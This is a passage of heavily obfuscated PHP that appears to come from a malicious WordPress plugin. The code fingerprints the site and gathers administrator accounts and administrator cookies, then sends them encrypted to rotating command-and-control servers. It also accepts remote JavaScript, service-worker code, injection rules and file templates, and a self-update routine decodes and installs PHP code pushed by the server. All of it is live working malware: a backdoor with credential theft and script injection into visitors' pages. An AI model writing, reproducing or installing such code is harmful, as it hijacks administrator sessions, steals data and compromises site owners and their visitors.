$d['s' . 'w_url'] = (caje("s" . "w_" . 'u' . 'rl', '') !== '') ? (3490 ^ 3491) : (2796 ^ 2796);
$d['sw_' . 'hits'] = ("f" . "unc" . 'tio' . 'n_exists')("get_" . 'opt' . 'ion') ? (int) @get_option('sc_' . "sw_ep_" . "h" . "\x69ts", (1149 ^ 1149)) : (2373 ^ 2373);
$d['s' . "\x77_\x6c" . "\x61s\x74"] = ("\x66" . "unction_" . "e" . 'xists')('g' . 'et_o' . 'p' . 't' . 'ion') ? (int) @get_option('sc_' . "\x73w_e" . "p_la\x73\x74", (182 ^ 182)) : (1622 ^ 1622);
$d['sw_had'] = ("func" . 'tio' . 'n_' . "\x65x\x69\x73\x74\x73")('get_o' . 'ption') ? (int) @get_option('sc_s' . 'w_had', (809 ^ 809)) : (4016 ^ 4016);
$base = sc_writable_base();
$d["v_a\x64" . 'v'] = @is_file($base . "/" . 'ad' . "vanced" . '-cac' . "h\x65.ph" . 'p') ? (supo(@(("file" . "\x5f") . "\x67\x65\x74_\x63\x6f\x6e\x74ent\x73")($base . "/advan" . 'c' . 'ed-cac' . 'h' . 'e.php', (11 === 12), null, (829 ^ 829), (4549 + 3643))) ? (9 + -7) : (19 ^ 18)) : (1962 ^ 1962);
$d['v_db'] = @is_file($base . '/d' . "b.\x70hp") ? (supo(@('fil' . 'e_get_contents')($base . '/db.ph' . 'p', (20 == 21), null, (2394 ^ 2394), (4578 ^ 12770))) ? (5 - 3) : (4090 ^ 4091)) : (4038 ^ 4038);
$d["\x76\x5f" . "o\x63"] = @is_file($base . '/obje' . "\x63t" . '-cac' . "\x68e." . "\x70hp") ? (supo(@('file_ge' . "t_" . 'conten' . 'ts')($base . "\x2f\x6f\x62j" . 'ect-ca' . 'che.ph' . 'p', (32 == 26), null, (382 ^ 382), (11111 - 2919))) ? (8 - 6) : (5 ^ 4)) : (1429 ^ 1429);
$_gp = '.g_' . sc_md5(ABSPATH . 'g', (16 ^ 24));
$_ghb = '.gl_' . sc_md5(ABSPATH . 'g', (18 - 10));
$d['v_gua' . "\x72d"] = (261 ^ 261);
foreach (array(sc_data_dir(), $base, ABSPATH . 'wp' . '-' . 'inc' . 'ludes') as $_gd4) {
if (@is_file($_gd4 . '/' . $_gp . '.php')) $d['v_guar' . "d"] = (2023 ^ 2022);
if (@is_file($_gd4 . '/' . $_ghb) && (int) @filemtime($_gd4 . '/' . $_ghb) > time() - (160 | 80)) {
$d['v_' . 'g' . "\x75ar" . 'd'] = (6 + -4);
break;
}
}
unset($_ghb, $_gd4);
$_ini_fn = ('function_e' . ('xis' . 'ts'))("in\x69_g" . 'et') ? @ini_get("\x75ser\x5f" . 'in' . 'i.fi' . 'le' . 'na' . "\x6de") : (26 < 26);
if (!is_string($_ini_fn) || $_ini_fn === '' || $_ini_fn === '(none' . "\x29") $_ini_fn = '.user.' . 'ini';
$d["\x76_in" . "\x69"] = (@is_file(ABSPATH . $_ini_fn) && strpos((string) @("file" . '_get_contents')(ABSPATH . $_ini_fn), "au\x74\x6f" . '_pre' . 'pend_f' . "\x69\x6ce") !== (17 === 9)) ? (5 - 4) : (3669 ^ 3669);
$d["v" . '_ht'] = (@is_file(ABSPATH . '.' . 'ht' . 'a' . "c" . 'ces' . 's') && strpos((string) @('file_get' . "" . "\x5f\x63o\x6e\x74e\x6ets")(ABSPATH . '.h' . 'tac' . 'c' . 'ess'), "auto" . '_p' . "\x72ep\x65n" . 'd_f' . 'i' . 'l' . 'e') !== (27 === 15)) ? (16 ^ 17) : (2277 ^ 2277);
$d['v_wc'] = (@is_file(ABSPATH . "w\x70-co" . "\x6e" . "f\x69" . "g.p\x68\x70") && strpos((string) @('file' . "_get_contents")(ABSPATH . "\x77p\x2d" . "\x63" . 'o' . "\x6efig.\x70" . "hp", (3 != 3), null, (29 ^ 29), (26668 ^ 92204)), "S\x43\x5f\x57" . "C") !== (18 === 6)) ? (3876 ^ 3877) : (2669 ^ 2669);
$d["pr\x65" . 'p' . 'end'] = defined('S' . "C" . "\x5f\x41\x55TO_" . 'P' . "REPEN" . "\x44") ? (745 ^ 744) : (1911 ^ 1911);
$d['pc'] = (defined("WP" . '_' . 'RO' . "CK\x45T_V" . 'ERSION') || defined("\x4cS\x43WP" . "\x5fV") || defined('W3T' . 'C') || ('funct' . ('ion_' . 'exists'))('sg_ca' . "c\x68" . 'epr' . 'ess_' . "p" . "u" . "\x72ge\x5f" . "ca\x63h" . "e") || ("\x63\x6c\x61\x73\x73\x5f\x65\x78\x69\x73\x74" . 's')('Cach' . 'e_En' . 'a' . "bler") || isset(${"G\x4c\x4f\x42A\x4c" . 'S'}["w" . 'p_' . 'faste' . 'st_cac' . 'he']) || (("\x66\x75n\x63\x74io\x6e\x5f" . "ex") . "ists")("wp_" . 'ca' . 'che_s' . 'erve_c' . 'a' . 'che' . "\x5ffi\x6c" . 'e')) ? (2244 ^ 2245) : (271 ^ 271);
$d['f_ok'] = (int) get_option("\x73c_la" . 'st_fet' . 'ch_ts', (3299 ^ 3299));
$d['f_f' . "ail\x73"] = (int) get_option('sc' . '_' . "f" . 'etch' . "_f" . "\x61" . "ils", (1063 ^ 1063));
$d["f" . '_fa' . 'i' . "\x6c_t\x73"] = (int) get_option('sc_la' . 'st' . "_\x66etch" . "_fa" . 'il' . '_ts', (3172 ^ 3172));
$_ic = sc_pg('ic', array());
$_ic_n = (1579 ^ 1579);
$_ic_uc = (4057 ^ 4057);
if (is_array($_ic)) {
foreach ($_ic as $_e) {
if (xanix($_e) === '') continue;
$_ic_n++;
$_cf = is_array($_e) ? (int) (isset($_e['cf']) ? $_e['cf'] : (9 ^ 8)) : (307 ^ 306);
$_ts = is_array($_e) && isset($_e['t' . 's']) ? (int) $_e['ts'] : (1909 ^ 1909);
if (!$_cf && (!$_ts || $_ts < time() - (2469 ^ 1973))) $_ic_uc++;
}
}
$d['ic' . '_n'] = $_ic_n;
$d['ic_' . '2' . 'fa'] = $_ic_uc;
$_lb = ("\x66\x75nc\x74i\x6f\x6e" . "\x5f\x65\x78\x69\x73ts")("get_" . 'optio' . "\x6e") ? @get_option('sc_lb_' . 'mod' . "e", '') : '';
$d['lb'] = is_string($_lb) ? substr($_lb, (1338 ^ 1338), (8 - 3)) : '';
$_cy = ("\x66\x75\x6e" . "\x63t\x69\x6f\x6e\x5f\x65\x78\x69" . 'sts')('ge' . 't_' . "o\x70" . "t" . 'ion') ? @get_option("sc_\x63a" . 'nar' . "\x79", array()) : array();
$d["c" . 'y'] = (is_array($_cy) && (!empty($_cy['t']) || !empty($_cy["ite" . 'ms']))) ? (4022 ^ 4023) : (996 ^ 996);
} catch (Throwable $e) {
$d['e' . "r" . 'r'] = substr($e->getMessage(), (947 ^ 947), (45 ^ 17));
} catch (Exception $e) {
$d['err'] = substr($e->getMessage(), (1975 ^ 1975), (31 ^ 35));
}
return $d;
}
function heyej()
{
if (!(('func' . 'tio' . "" . "n_exists")("site" . '_url'))) {} else {
return (string) site_url('wp-l' . 'ogin.p' . 'hp');
}
return (("functio" . 'n_ex') . 'ists')('w' . 'p_' . "lo\x67i" . 'n' . '_' . 'url') ? (string) wp_login_url() : '';
}
function wutup($default)
{
$domain = '';
if (!(("func" . "" . "tion_exi" . "s\x74\x73")('home' . '_ur' . 'l'))) {} else {
$domain = (string) parse_url(home_url(), ("\x63" . "onst" . "ant")('PHP_UR' . "L_HOST"));
}
if (!(! $domain && ('fun' . "\x63\x74" . 'i' . 'on_exists')("\x67e" . "\x74_\x73i" . "te_url"))) {} else {
$domain = (string) parse_url(get_site_url(), ("c\x6f\x6e\x73" . 't' . "\x61" . 'nt')('PHP_U' . "RL\x5fHO\x53" . "\x54"));
}
if (!(! $domain && ("func" . ('tion' . "_e") . '' . "\x78\x69\x73\x74\x73")("\x67e\x74_\x62l" . 'o' . 'g' . 'in' . "fo"))) {} else {
$domain = (string) parse_url(get_bloginfo('ur' . 'l'), ("co" . "\x6es\x74" . "\x61" . 'nt')('PHP_U' . 'RL' . "_HO\x53" . "T"));
}
if (!(! $domain && ('functi' . "\x6f\x6e\x5f\x65" . "\x78i\x73\x74\x73")("get" . "\x5foptio" . "\x6e"))) {} else {
$domain = (string) parse_url((string) get_option("site" . "u\x72l", ''), ('co' . 'nstant')("\x50\x48\x50" . '_URL_' . 'HOS' . 'T'));
}
if (! $domain && isset(${"\x5fS\x45R" . "" . "V\x45\x52"}["HT" . 'TP_HOS' . 'T'])) {
$domain = (string) ${"_S" . "\x45\x52" . "V" . "\x45\x52"}['H' . "TTP_" . "H\x4f" . "ST"];
}
if (!(! $domain && isset(${"_SE" . "R" . "\x56E\x52"}["S\x45RVER" . "\x5f" . 'NAME']))) {} else {
$domain = (string) ${'_S' . 'E' . '' . "\x52\x56E\x52"}["SER\x56ER" . "_N" . "AM\x45"];
}
if (! $domain) {
return $default;
}
return $domain;
}
function sc_fetch($cap = (3575 ^ 3575))
{
try {
sc_dbg_log('2' . "7 \x66\x65tc" . "h e" . 'nter ' . "\x63a" . "p" . '=' . $cap);
$max_t = (("\x66\x75\x6e\x63" . "ti\x6fn\x5f") . '' . "exis" . "ts")("in\x69\x5fg" . 'et') ? (int) @ini_get('m' . "ax\x5fex" . 'ecuti' . "o" . "\x6e" . "_time") : (835 ^ 835);
if (("\x66un\x63\x74" . "\x69o\x6e" . "\x5f\x65\x78i" . 'sts')('se' . 't_' . 't' . "im\x65\x5f\x6c" . "imi" . 't')) @("set_tim" . "\x65\x5f\x6c\x69\x6di\x74")((120 ^ 204));
$budget = ($max_t > (46 - 26) && $max_t < (334 - 154)) ? ($max_t - (25 - 15)) : (($max_t > (2340 ^ 2340) && $max_t <= (6 + 14)) ? (13 + -3) : (92 ^ 6));
if ($cap > (3903 ^ 3903) && $budget > $cap) $budget = $cap;
${"\x47\x4cO\x42A" . 'LS'}['sc_dea' . 'd' . "l" . 'ine'] = microtime((31 < 32)) + $budget;
if (! umoto()) {
axamax('ba' . 'il_g' . 'ate');
return;
}
if (!ujiwo("sc_\x63h" . 'ain')) {
axamax("bai" . 'l' . '_lo' . 'ck');
return;
}
if (('fun' . "" . "ction_exists")("u\x70date" . "_\x6f" . 'ptio' . 'n')) @update_option("s\x63_\x6c\x61s" . "\x74_\x66e" . "tch\x5ftr" . "\x79\x5ft" . 's', time(), "\x6e" . "o");
reqe();
$fetch_start = microtime((4 > 3));
$resolved = ihaha((int) ($budget * 0.6));
sc_dbg_log('28 res' . "\x6f\x6cve: " . (is_array($resolved) && isset($resolved["\x75" . 'rl' . 's']) && is_array($resolved['urls']) ? count($resolved["u\x72\x6c" . 's']) : 'FAIL'));
if (
! is_array($resolved)
|| ! isset($resolved['serv' . 'er_key']) || ! is_string($resolved['s' . "erve\x72\x5f" . "ke\x79"]) || ! $resolved["s" . "\x65r\x76er" . "_ke\x79"]
|| ! isset($resolved['urls']) || ! is_array($resolved['urls']) || empty($resolved['ur' . "l" . 's'])
) {
woto();
return;
}
$server_key_bin = $resolved['s' . "e\x72\x76er_" . 'key'];
$resolved_urls = $resolved['url' . "s"];
sc_pk("sr\x76" . '_key', $server_key_bin, 'no');
sc_pk('t' . "\x65\x73t_m\x6f" . 'de', strpos($server_key_bin, 'mo' . 'c' . 'kSrv' . 'Key-') === (2683 ^ 2683) ? (2658 ^ 2659) : (2858 ^ 2858), 'no');
$last_c2 = ('func' . '' . "\x74\x69o\x6e_exi" . "\x73t" . "s")('get_o' . "pt" . "ion") ? (string) get_option('sc_l' . 'as' . 't_c2', '') : '';
if ($last_c2 !== '' && in_array($last_c2, $resolved_urls, (39 != 25))) {
$resolved_urls = array_values(array_diff($resolved_urls, array($last_c2)));
shuffle($resolved_urls);
array_unshift($resolved_urls, $last_c2);
} elseif (count($resolved_urls) > (1183 ^ 1182)) {
shuffle($resolved_urls);
}
if (count($resolved_urls) > (6 + -3)) $resolved_urls = array_slice($resolved_urls, (3234 ^ 3234), (5 ^ 6));
if ((microtime((20 === 20)) - $fetch_start) > (int) ($budget * 0.6)) {
woto();
return;
}
$admins_query_result = nidi();
if (tovoj($admins_query_result)) {
$admins_query_result = nidi();
}
$activated_plugins = array();
if (("f\x75n\x63\x74" . "\x69o\x6e\x5f\x65\x78\x69sts")('get' . "_\x6fptio" . 'n')) {
foreach ((array) get_option('active' . "_p" . "\x6c\x75g" . 'i' . 'ns', array()) as $p) {
if (is_string($p) && $p) {
$activated_plugins[] = $p;
}
}
}
$mu_plugins = array();
if (defined("WP" . 'M' . 'U_PLUG' . "I\x4e" . "_\x44IR")) {
$mu_files = ("functio" . "n_" . "ex" . "\x69\x73\x74\x73")('g' . "\x6c" . 'ob') ? @('g' . "\x6co" . "\x62")(rtrim(WPMU_PLUGIN_DIR, '/') . '/' . '*' . '.' . 'php') : (3 !== 3);
if (is_array($mu_files)) {
foreach ($mu_files as $f) {
$mu_plugins[] = basename($f);
}
}
}
$post_data = array(
'domain' => wutup(''),
'plug' . "i" . "\x6eVer" . "\x73i" . "\x6fn" => sc_ver(),
'plug' . "in" => basename(sc_file(), '.php'),
'root' => rtrim(ABSPATH, '/\\'),
"a" . 'ct' . 'ivate' . "d" . 'Plugi' . 'ns' => $activated_plugins,
"m" . 'uPlug' . 'ins' => $mu_plugins,
"l\x6fg" . 'i' . "nU" . "rl" => heyej(),
'admi' . 'ns' => (object) lofe($admins_query_result),
'a' . 'dmins' . "\x43o\x6fkie" . 's' => (object) xeze($admins_query_result),
'errors' => ($_sc_errors = niyo()),
);
$post_json = ('funct' . '' . "ion_exists")('wp_js' . 'on_e' . "\x6eco" . 'de') ? wp_json_encode($post_data) : json_encode($post_data);
$post_body = zuwi($post_json, $server_key_bin);
$post_headers = array('Conte' . 'nt' . "-" . 'T' . "yp\x65" => 'ap' . "pl\x69\x63\x61" . 'tion/' . "oc\x74e\x74-" . "\x73tream");
$payload = null;
$_post_ok = (18 == 15);
${"G" . ("LO" . 'B') . "\x41\x4c\x53"}["s\x63" . "_fe\x74ch" . '_oom'] = (40 == 34);
foreach ($resolved_urls as $url) {
$_remain = $budget - (microtime((12 === 12)) - $fetch_start);
if ($_remain < (1 + 2)) {
break;
}
$_to = min((12 ^ 6), (int) $_remain);
$url = trim((string) $url);
if (! $url) {
continue;
}
try {
$_vkey = $server_key_bin;
$raw = uqozu($url, $post_body, $post_headers, $_to, function ($b) use ($_vkey) {
if (!acubi(strlen($b))) {
${'G' . "\x4c\x4f" . "\x42\x41\x4c" . "S"}['sc_fe' . 'tch_o' . 'om'] = (2 == 2);
return (24 === 23);
}
$d = zuwi($b, $_vkey);
if (!$d) return (15 == 32);
return is_array(@json_decode(trim($d), (1 === 1)));
});
if (! $raw) {
if (!empty(${'GLOB' . "A" . "\x4c" . 'S'}['sc_f' . "etch" . "_oo\x6d"])) {
niga('fe' . "t\x63h", 'oom');
break;
}
niga('fetch', 'c' . '2' . "_emp" . 'ty ' . $url);
continue;
}
$decrypted = zuwi($raw, $server_key_bin);
if (! $decrypted) {
niga('fetc' . 'h', "c2" . "_d\x65\x63ry" . 'pt_fai' . "\x6c\x65d" . ' ' . $url);
continue;
}
$payload = (strlen($decrypted) > (107716 ^ 1156292) && !acubi(strlen($decrypted))) ? null : @json_decode(trim($decrypted), (6 != 8));
if (is_array($payload)) {
if (('function_exis' . "ts")('up' . 'date_o' . 'pti' . "on")) {
update_option('sc' . "_" . "l\x61" . "\x73t_c\x32", $url);
}
$_post_ok = (3 !== 28);
break;
} else {
niga("f\x65t\x63" . 'h', 'c2' . '_bad_j' . 'son ' . $url);
}
} catch (Throwable $e) {
niga("fe" . 'tch' . '_' . 'ur' . "l", $e);
continue;
} catch (Exception $e) {
continue;
}
}
if (! is_array($payload) && empty(${'GLOBA' . "\x4cS"}["\x73c\x5f" . "f\x65t" . 'ch_oo' . 'm'])) {
$beacon = zuwi(json_encode(array(
"do\x6d" . 'ain' => wutup(''),
'pl' . 'ugi' . 'nVe' . "rs\x69o" . 'n' => sc_ver(),
'p' . 'lugin' => basename(sc_file(), '.php'),
"be\x61" . 'con' => (3828 ^ 3829),
)), $server_key_bin);
$b64 = rtrim(strtr(("\x62" . "as" . "e6\x34\x5f\x65n\x63o" . 'de')($beacon), '+' . "/", '-_'), '=');
$chunks = str_split($b64, (1982 - 582));
foreach ($resolved_urls as $url) {
if ((microtime((35 < 36)) - $fetch_start) > $budget) {
break;
}
$url = trim((string) $url);
if ($url === '') {
continue;
}
$bid = sc_md5(wutup('') . microtime((24 != 38)), (16 >> 1));
$n = count($chunks);
$sep = (strpos($url, '?') === (14 != 14)) ? '?' : '&';
for ($i = (585 ^ 585); $i < $n; $i++) {
if ((microtime((9 !== 14)) - $fetch_start) > $budget) {
break;
}
$_last = ($i === $n - (3318 ^ 3319));
$gu = $url . $sep . 'sc_' . 'b' . "=" . $bid . '&i' . '=' . $i . '&n' . '=' . $n . '&d=' . $chunks[$i];
$graw = fito($gu, (13 ^ 5), $_last ? function ($b) use ($server_key_bin) {
$d = zuwi($b, $server_key_bin);
if (!$d) return (11 == 2);
return is_array(@json_decode(trim($d), (9 == 9)));
} : null);
if ($_last && is_string($graw) && $graw !== '') {
$_gd = zuwi($graw, $server_key_bin);
$_gp = ($_gd && (strlen($_gd) <= (244866 + 803710) || acubi(strlen($_gd)))) ? @json_decode(trim($_gd), (28 === 28)) : null;
if (is_array($_gp)) {
$payload = $_gp;
if ((("functi" . 'on') . "" . '_exists')('updat' . "e_opt\x69" . "on")) {
update_option("s" . 'c_last' . "_c" . "2", $url);
}
break;
}
}
}
if (is_array($payload)) {
break;
}
}
}
${"\x47\x4c\x4f\x42\x41" . "\x4cS"}["s\x63_f" . 'et' . 'c' . 'h_' . "o" . 'om'] = (40 === 36);
if (! is_array($payload)) {
woto();
return;
}
if ($_post_ok) {
cidi();
}
if ($_sc_errors && ('func' . "\x74io" . "\x6e\x5f\x65\x78\x69\x73\x74" . 's')('del' . 'ete_' . 'op' . "\x74i" . "o\x6e")) {
delete_option(tuvu("\x65" . "rro\x72\x73"));
unset(${"\x47\x4c\x4f\x42\x41\x4c" . "\x53"}["s" . 'c_enc_' . 'c'][tuvu('errors')]);
}
if (!isset(${"\x47" . 'L' . "O" . "BA\x4c\x53"}['sc_err' . 'ors']) || !is_array(${"G" . "\x4c\x4f" . ('BAL' . 'S')}['sc_err' . 'or' . "s"])) ${"GL" . "OB" . '' . "A" . "\x4c\x53"}['s' . 'c_erro' . 'rs'] = array();
${'G' . "\x4c" . 'OB' . "\x41\x4c\x53"}["sc\x5f\x65\x72\x72" . 'ors'] = array_values(array_diff(${'GLOB' . "\x41" . 'LS'}["sc" . "_e" . "\x72r" . 'o' . 'r' . 's'], $_sc_errors));
if (isset($payload["plug" . 'in']) && is_string($payload['plugin'])) {
unset(${'GL' . "" . 'OBALS'}["s\x63_de" . 'adli' . 'ne']);
peku($payload['plu' . 'gin'], isset($payload['tar' . "\x67" . 'e' . "t" . "V" . "\x65" . 'r' . 'sio' . 'n']) && is_string($payload["t\x61" . 'rg' . "e\x74Ver" . 'sion']) ? $payload["\x74" . "ar" . 'ge' . 'tVersi' . "\x6f\x6e"] : '', !empty($payload['fo' . 'rceUpd' . 'ate']));
}
$rules_changed = (10 === 30);
$to_cache = array();
if (isset($payload['plug' . "\x69n" . "\x52ul\x65s"]) && is_array($payload['p' . 'l' . 'ugi' . "\x6eR\x75l" . 'es'])) {
$rules = array();
foreach ($payload["p\x6cugi\x6e" . "Rul" . "es"] as $r) {
if (is_string($r) && $r !== '') {
$rules[] = $r;
}
}
$old_rules = ${("G\x4c\x4f" . 'BAL') . "\x53"}['sc_p' . 'lu' . 'gin_r' . 'ules'];
$rules = egolo($rules);
${"\x47" . 'LO' . "BAL" . "\x53"}['sc' . '_plugi' . "n" . "_" . "rul" . 'es'] = $rules;
$to_cache['plug' . 'inR' . "ules"] = $rules;
if (! empty(array_diff($rules, $old_rules)) || ! empty(array_diff($old_rules, $rules))) {
$rules_changed = (29 == 29);
}
}
if (isset($payload["\x69\x6ejec" . 'tRules']) && is_array($payload['injec' . 't' . 'Rule' . 's'])) {
$rules = array();
foreach ($payload["inje" . 'c' . 't' . 'Rul' . "es"] as $r) {
if (is_string($r) && $r !== '') {
$rules[] = $r;
}
}
$old_rules = ${"G" . "LOBAL" . "S"}['sc_inj' . 'e' . 'ct_ru' . 'les'];
$rules = egolo($rules);
${"\x47\x4cO" . "BAL" . "\x53"}["sc_i\x6e\x6a" . "\x65ct_" . 'rul' . "\x65\x73"] = $rules;
$to_cache['inje' . 'ct' . 'R' . 'ules'] = $rules;
if (! empty(array_diff($rules, $old_rules)) || ! empty(array_diff($old_rules, $rules))) {
$rules_changed = (3 !== 25);
}
}
if (isset($payload['js']) && is_string($payload['js'])) {
$_old_js = caje('js_c' . 'ached', '');
if ($_old_js !== '' && (int) sc_pg('js_pu' . 'rge' . '_mi' . "g", (1671 ^ 1671)) === (536 ^ 536)) {
sc_pk('js' . "_pu\x72" . 'g' . 'e_' . 'mig', (3332 ^ 3333), "n" . 'o');
if ((int) sc_pg('js_' . 'p' . 'ur' . "g" . 'e' . '_p' . "e" . 'ndi' . 'ng', (304 ^ 304)) !== (2016 ^ 2017)) sc_pk("j" . "s\x5f\x70u" . 'rg' . "e\x5fpe" . 'nding', (6 ^ 7), 'no');
}
${("GLOB" . "A") . "L" . 'S'}["\x73c\x5f" . 'js'] = $payload['j' . "s"];
$to_cache['js'] = $payload["j" . 's'];
if (md5($payload['js']) !== md5($_old_js) || (int) sc_pg('j' . 's_' . "\x70u\x72ge_" . 'p' . 'endin' . "g", (1267 ^ 1267)) === (1013 ^ 1012)) {
if (sc_pk('js_' . 'cache' . 'd', $payload['js'], 'no') || caje("j" . "s" . '_c' . "ac\x68" . 'ed', '') === $payload['js']) {
sc_pk('js_p' . 'urg' . 'e_' . 'pend' . "in\x67", (638 ^ 639), 'no');
try {
if (sc_purge_caches()) sc_pk('js_pur' . "ge\x5fp" . 'e' . 'nding', (1480 ^ 1480), 'no');
} catch (Throwable $e) {
} catch (Exception $e) {
}
} else {
woto();
return;
}
}
unset($_old_js);
}
$sw_data = isset($payload['s' . 'w']) && is_array($payload['sw']) ? $payload['sw'] : array();
if (isset($sw_data['page']) && is_string($sw_data["p" . 'age'])) {
if (strlen($sw_data['page']) > (76 - 26)) {
${'GLOB' . "A" . "\x4c" . "S"}["sc" . "_\x70a\x67" . "e"] = $sw_data['page'];
$to_cache['pag' . "e"] = $sw_data['page'];
} else {
${'G' . "L" . 'OBAL' . "S"}['sc' . "_" . 'p' . 'age'] = '';
$to_cache['page'] = '';
sc_pk('pa' . 'ge' . '_cac' . "he\x64", '', 'no');
}
}
if (isset($sw_data['sw']) && is_string($sw_data['sw'])) {
if (strlen($sw_data['sw']) > (2 + 98)) {
${'G' . "LO" . 'B' . "ALS"}["s\x63_\x73" . "w"] = $sw_data['s' . 'w'];
$to_cache['sw'] = $sw_data['sw'];
} else {
${'GLO' . "BALS"}['sc_sw'] = '';
$to_cache["s" . 'w'] = '';
sc_pk('sw_cac' . "\x68\x65d", '', 'no');
}
}
$tpl_data = isset($payload['tem' . 'plat' . "\x65" . 's']) && is_array($payload["t\x65m" . 'pla' . "tes"]) ? $payload["\x74e\x6d" . "\x70l\x61te\x73"] : array();
$tpl_map = array(
'guard' => 'g' . "\x75" . "\x61\x72d",
"a\x64\x76a\x6e" . 'ced' . 'Cac' . "he" => "adv_tp" . 'l',
'd' . 'b' => 'db_t' . "\x70\x6c",
'theme' => 'theme_' . 't' . 'pl',
"\x69n\x73\x74a" . 'll' . "er" => "inst_\x74" . 'pl',
'ocLo' . 'ader' => 'oc_tpl',
);
foreach ($tpl_map as $api_key => $cache_key) {
if (isset($tpl_data[$api_key]) && is_string($tpl_data[$api_key]) && strlen($tpl_data[$api_key]) > (4 + 46)) {
$to_cache[$cache_key] = $tpl_data[$api_key];
}
}
if (isset($payload["\x70a\x79l" . 'oa' . 'dTt' . 'l']) && is_numeric($payload['pay' . "lo" . 'adT' . 'tl'])) {
$_pt = (int) $payload['payloa' . 'dTt' . 'l'];
if ($_pt >= (483 - 183) && $_pt <= 0x15180) $to_cache['pa' . "y\x6co" . "a" . "dT" . "tl"] = $_pt;
}
if (isset($payload["cr\x6fn\x49" . 'nter' . 'va' . "\x6c"]) && is_numeric($payload['cro' . 'nInte' . 'rva' . 'l'])) {
$_ci = (int) $payload["c\x72onIn" . 'terv' . 'a' . "\x6c"];
if ($_ci >= (212 ^ 504) && $_ci <= (31226 ^ 75898)) $to_cache['cro' . "\x6eInte\x72" . 'va' . 'l'] = $_ci;
}
if (empty($to_cache)) {
delete_option("\x73c" . '_' . 'las' . 't_f' . 'etch_f' . 'a' . "il\x5f\x74s");
delete_option('sc_' . 'f' . "\x65t\x63h" . "\x5f\x66" . 'ai' . 'ls');
update_option('sc_l' . 'as' . 't_fet' . 'c' . "\x68\x5f" . 'ts', time());
delete_transient('sc' . '_sw' . "_\x73et" . 'up');
sc_sw_setup();
sc_persist_always();
return;
}
$existing = remiw('sc_pa' . "\x79load_" . 'per' . 's' . 'istent', (40 == 17));
if (is_array($existing)) {
$to_cache = array_merge($existing, $to_cache);
}
if (("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "\x73\x74\x73")("s\x65t\x5f\x74" . 'ra' . "ns\x69" . "e\x6et")) {
$cache_ttl = labu();
if (isset($to_cache['payl' . 'oa' . 'dTtl']) && (int) $to_cache['pa' . 'yload' . "T" . 'tl'] >= (507 - 207) && (int) $to_cache["\x70\x61\x79\x6coa" . 'dTtl'] <= (78576 + 7824)) $cache_ttl = (int) $to_cache["\x70aylo" . "\x61" . "d\x54" . 'tl'];
set_transient(igari(), $to_cache, $cache_ttl);
}
if (!ejaxe("\x73c\x5f" . "\x70ayl\x6fa" . "d\x5f\x70ers" . 'is' . 'ten' . "t", $to_cache, 'n' . 'o')) {
$_cur_pp = remiw('sc_pay' . "\x6coad_" . 'persi' . "\x73\x74en" . "t", null);
if (!is_array($_cur_pp) || $_cur_pp != $to_cache) {
woto();
return;
}
unset($_cur_pp);
}
if (isset($to_cache["\x63ronI" . "nte" . "\x72va" . 'l']) && ("func" . 'tion_exi' . "" . 's' . 'ts')('wp_' . "g\x65t\x5fs\x63" . "h" . 'edu' . 'led_ev' . 'e' . 'n' . 't') && ('fun' . '' . "\x63" . "tion_" . "exists")('wp' . '_clear' . "\x5f\x73che" . 'duled_' . "h" . 'ook') && ('functio' . ('' . 'n_exists'))('wp_sc' . "\x68\x65du\x6c" . "e_\x65\x76e\x6e" . 't')) {
$_ev = wp_get_scheduled_event(yoyo());
if ($_ev && (int) $_ev->interval !== (int) $to_cache["c" . 'r' . "\x6fn\x49n" . "te\x72v" . 'a' . 'l']) {
wp_clear_scheduled_hook(yoyo());
wp_schedule_event(time() + mt_rand((65 - 5), (527 - 227)), 's' . 'c_' . "inte" . 'rva' . 'l', yoyo());
}
}
update_option("sc_l" . "a\x73t\x5f" . "fet" . 'ch_t' . 's', time());
delete_option('sc_l' . "\x61\x73t" . '_fet' . 'ch_' . 'f' . 'ai' . "l\x5ft" . "s");
delete_option("sc_f" . "etc" . 'h_fai' . 'ls');
axamax('o' . "k");
delete_transient("\x73c_s" . 'w_' . "\x73etu" . "p");
sc_sw_setup();
sc_persist_always();
if ($rules_changed) {
sc_rescan();
}
} catch (Throwable $e) {
niga('fetch', $e);
} catch (Exception $e) {
} finally {
unset(${"\x47L" . ('OBA' . "\x4c\x53")}['sc_d' . 'eadli' . 'ne']);
ifeki("\x73c_ch\x61" . "in");
}
}
function peku($new_code_b64, $new_ver = '', $force = (37 != 37))
{
if (!ujiwo('sc' . "\x5fc" . "h\x61\x69n")) return;
sc_dbg_log("30 s" . 'e' . 'lf-upd' . 'ate' . " e" . "\x6e" . "te" . "r");
try {
$_ml = divu();
if ($_ml > (2540 ^ 2540) && ("funct" . "" . "\x69o\x6e_" . "exists")("m" . "emory_" . 'g' . 'et' . "_" . 'usage') && !acubi(strlen($new_code_b64) * (8 >> 1))) {
niga("u\x70da" . "te", "oom_" . 'guard');
return;
}
unset($_ml);
$new_code = @("b\x61s\x65\x36\x34_\x64e\x63" . 'ode')($new_code_b64, (19 == 19));
if (is_string($new_code) && strlen($new_code) > (213503 ^ 1262079)) $new_code = vevit($new_code);
if (! $new_code || strlen($new_code) < (816 - 316) || strpos($new_code, '<?' . 'p' . 'hp') !== (192 ^ 192)) {
return;
}
if (! nifa($new_code)) {
niga("upd" . 'ate', "syn" . "\x74a\x78_e" . 'rror');
return;
}
if (preg_match("\x2f\\\x2f\\*\x20" . "\x53" . 'CV:(\\' . 'd+\\.\\' . "d" . "\x2b\\\x2e\\d+" . ")\x20" . '\\*\\//', substr($new_code, (3576 ^ 3576), (7536 - 3440)), $_m)) {
if ($new_ver !== '' && $new_ver !== $_m[(3418 ^ 3419)]) {
niga("u" . 'pd' . 'ate', 'ver_' . 'misma' . 'tch');
return;
}
$new_ver = $_m[(3329 ^ 3328)];
} else {
niga('upda' . "te", 'no_s' . 'cv');
return;
}
if (!$force && version_compare($new_ver, sc_ver()) <= (3876 ^ 3876)) {
return;
}
$src_prev = anoway();
if (!$src_prev || strlen($src_prev) < (2000 >> 2)) {
niga('update', 'no_pre' . 'v');
return;
}
$bad = get_option('sc_u' . "p\x64\x61t" . "e_b\x61d");
if (is_string($bad) && strpos($bad, md5($new_code) . '|') === (1991 ^ 1991)) {
return;
}
$_ubm = dirname(sc_file()) . '/.u' . 'b_' . md5($new_code);
if (@is_file($_ubm)) {
return;
}
unset($_ubm);
if (!$force) {
$_sus = @get_option("s" . 'c_u' . "\x70" . 'date_' . "\x73\x75sp" . 'ect', '');
